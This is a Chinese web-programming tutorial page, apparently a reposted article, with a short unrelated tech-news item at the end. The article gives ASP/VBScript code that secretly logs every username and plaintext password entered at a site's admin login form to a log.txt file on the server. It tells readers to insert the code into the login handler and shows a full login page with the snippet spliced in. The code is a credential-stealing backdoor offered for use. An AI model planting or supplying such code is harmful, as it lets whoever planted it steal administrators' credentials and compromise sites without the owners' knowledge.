网络编程 
首页 > 网络编程 > 浏览文章

Asp截获后台登录密码的代码

(编辑:jimmy 日期: 2026/4/23 浏览:3 次 )
核心代码:
复制代码 代码如下:
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing

在后台登录处表单提交的地方插入!
参考文件:
复制代码 代码如下:
<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request("username")),"'","")
password=replace(trim(Request("password")),"'","")
CheckCode=replace(trim(Request("CheckCode")),"'","")
if UserName="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用户名不能为空!</li>"
end if
if Password="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>密码不能为空!</li>"
end if
if CheckCode="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>验证码不能为空!</li>"
end if
if session("CheckCode")="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你登录时间过长,请重新返回登录页面进行登录。</li>"
end if
if CheckCode<>CStr(session("CheckCode")) then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致,请重新输入。</li>"
end if
'这后面是我增加的代码~开始区域
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
'后面的代码被我删除了~结束区域

%>

本文涉及语句作者是:会的不多iFat
上一篇:不能使用“;文件已在使用中 Microsoft JET Database Engine
下一篇:asp连接mysql数据库详细实现代码
一句话新闻
高通与谷歌联手!首款骁龙PC优化Chrome浏览器发布
高通和谷歌日前宣布,推出首次面向搭载骁龙的Windows PC的优化版Chrome浏览器。
在对骁龙X Elite参考设计的初步测试中,全新的Chrome浏览器在Speedometer 2.1基准测试中实现了显著的性能提升。
预计在2024年年中之前,搭载骁龙X Elite计算平台的PC将面世。该浏览器的提前问世,有助于骁龙PC问世就获得满血表现。
谷歌高级副总裁Hiroshi Lockheimer表示,此次与高通的合作将有助于确保Chrome用户在当前ARM兼容的PC上获得最佳的浏览体验。